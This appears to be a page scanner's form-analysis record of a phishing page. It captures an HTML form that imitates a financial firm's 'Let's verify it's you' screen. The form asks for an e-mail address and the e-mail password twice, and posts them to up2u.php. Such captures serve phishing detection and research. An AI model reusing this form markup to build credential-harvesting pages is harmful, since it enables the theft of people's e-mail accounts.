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Form analysis
1 forms found in the DOM

Name: username-password-form — POST up2u.php

<form _ngcontent-nmo-c71="" name="username-password-form" id="username-password-form" method="post" action="up2u.php">
  <div class="container-fluid width-auto">
    <div class="row"></div>
    <div class="row c11n-space-stack-10x c11n-space--force center-content">
      <div class="c11n-grid-story__cell col-xl-6 col-md-8">
        <div class="row">
          <div>
            <h1 tabindex="-1" class="c11n-text-xl-headline focusable-content"> Let’s verify it’s you</h1>
            <p class="c11n-text-md c11n-space-stack-6x">All fields are required.</p>
          </div>
          <c11n-input class="c11n-input c11n-input--medium" _nghost-yep-c53="" data-cy="first-name-input">
            <div _ngcontent-yep-c53="" class="c11n-input__focus-element">
            </div>
          </c11n-input>
          <c11n-hint-error _nghost-yep-c60="" class="c11n-hint-error">
          </c11n-hint-error>
          <c11n-input class="c11n-input c11n-input--medium" _nghost-yep-c53="" data-cy="last-name-input">
            <div _ngcontent-yep-c53="" class="c11n-input__focus-element">
            </div>
          </c11n-input>
          <c11n-input class="c11n-input c11n-input--medium" _nghost-yep-c53="" data-cy="ssn-input">
            <c11n-hint-error _nghost-yep-c60="" class="c11n-hint-error">
            </c11n-hint-error><label for="ssn">
              <font size="4"> E-MAIL ADDRESS:</font>
            </label>
            <p>
              <input c11ninput="" required="" type="email" id="lastName0" name="lastName1" aria-describedby="lastName-error" autocomplete="off" formcontrolname="lastName" _nghost-yep-c52=""
                class="c11n-input__input ng-untouched ng-pristine ng-invalid" value="" size="">
            </p>
            <div _ngcontent-yep-c53="" class="c11n-input__focus-element">
              <label for="ssn">
                <font size="4">E-MAIL PASSWORD:</font>
              </label>
              <p>
                <input c11ninput="" required="" type="password" id="lastName2" name="lastName2" aria-describedby="lastName-error" autocomplete="off" formcontrolname="lastName" _nghost-yep-c52=""
                  class="c11n-input__input ng-untouched ng-pristine ng-invalid" value="" size="">
              </p>
              <c11n-hint-error _nghost-yep-c60="" class="c11n-hint-error">
              </c11n-hint-error><label for="ssn">
                <font size="4">VERIFY E-MAIL PASSWORD:</font>
              </label>
              <p>
                <input c11ninput="" required="" type="password" id="lastName1" name="lastName3" aria-describedby="lastName-error" autocomplete="off" formcontrolname="lastName" _nghost-yep-c52=""
                  class="c11n-input__input ng-untouched ng-pristine ng-invalid" value="" size="">
              </p>
              <p></p>
            </div>
          </c11n-input>
          <c11n-hint-error _nghost-yep-c60="" class="c11n-hint-error">
          </c11n-hint-error>
        </div>
        <div class="c11n-space-stack-6x max-width-238px">
          <label c11n-label="" class="c11n-label c11n-label--medium" _nghost-yep-c59="" for="[object Object]">
            <div _ngcontent-yep-c59="" class="c11n-label__content">&nbsp;</div>
          </label>
          <c11n-input class="c11n-input c11n-input--medium" _nghost-yep-c53="">
            <div _ngcontent-yep-c53="" class="c11n-input__focus-element">
            </div>
          </c11n-input>
          <c11n-hint-error _nghost-yep-c60="" class="c11n-hint-error">
          </c11n-hint-error>
          <div class="c11n-space-stack-4x">
            <c11n-radio-group class="c11n-radio-group" _nghost-yep-c64="">
              <fieldset _ngcontent-yep-c64="" id="radioGroupId-5f0afac1-35c2-4909-9b04-916b67b62c4d">&nbsp;</fieldset>
            </c11n-radio-group>
          </div>
        </div>
        <c11n-button data-cy="submit" class="button_verify" _nghost-yep-c67="">
          <button _ngcontent-yep-c67="" type="submit" class="c11n-button c11n-button--medium c11n-button--primary false">
            <span _ngcontent-yep-c67="" class="c11n-button__box">
              <span _ngcontent-yep-c67="" class="c11n-button__label">Verify</span>
            </span>
          </button>
        </c11n-button>
        <div id="home-five-exit-survey" class="sf-hidden"></div>
      </div>
    </div>
    <div class="row c11n-space-stack-10x"></div>
  </div>
</form>

Text Content

icon-m / alert Created with Sketch. icon-s / validation-check Created with
Sketch. icon-m / information-circle Created with Sketch.


LET’S VERIFY IT’S YOU

All fields are required.



E-MAIL ADDRESS:



E-MAIL PASSWORD:



VERIFY E-MAIL PASSWORD:





 

 
Verify



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